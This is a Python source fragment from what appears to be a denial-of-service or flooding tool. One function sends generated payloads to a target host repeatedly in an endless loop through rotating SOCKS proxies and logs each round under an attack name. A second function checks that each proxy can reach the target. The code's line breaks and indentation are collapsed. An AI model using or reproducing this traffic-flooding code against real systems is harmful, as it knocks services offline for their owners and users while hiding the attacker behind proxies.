def communicate(self, content, proxy, on_proxy_request, multiply): from ssl import SSLContext from socks import socksocket from socket import IPPROTO_TCP, TCP_NODELAY while 1: with socksocket() as sckt: try: if proxy is not None: sckt.set_proxy(proxy['type'], proxy['host'], proxy['port']) else: sckt.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1) sckt.connect((self.host, int(self.port))) if self.scheme == "https": sckt = SSLContext().wrap_socket( sckt, server_hostname=self.host) for i in range(multiply): cnt = content() if verbose > 1: print(cnt) sent = sckt.send(str.encode(cnt)) if sent <= 0: proxy = on_proxy_request() break if verbose > 0: print(' -> {} - {}'.format(self.get_attack_name(), i)) except Exception as e: if verbose > 1: print(e)
def check_proxy(proxy, host, port, scheme, delay): from socks import socksocket from ssl import SSLContext sent = 0 with socksocket() as sckt: try: sckt.set_proxy(proxy['type'], proxy['host'], proxy['port']) sckt.settimeout(delay) sckt.connect((host, int(port))) if scheme == "https": sckt = SSLContext().wrap_socket(sckt, server_hostname=host) sent = sckt.send(str.encode("GET / HTTP/1.1\r\n\r\n")) return proxy if sent > 0 else None except Exception as e: if verbose > 1: print(e) return None finally: if verbose > 0: if sent > 0: print(' Proxy: {}:{} - OK'.format( proxy['host'], proxy['port'])) elif verbose > 1: print(' Proxy: {}:{} - Fail'.format( proxy['host'], proxy['port']))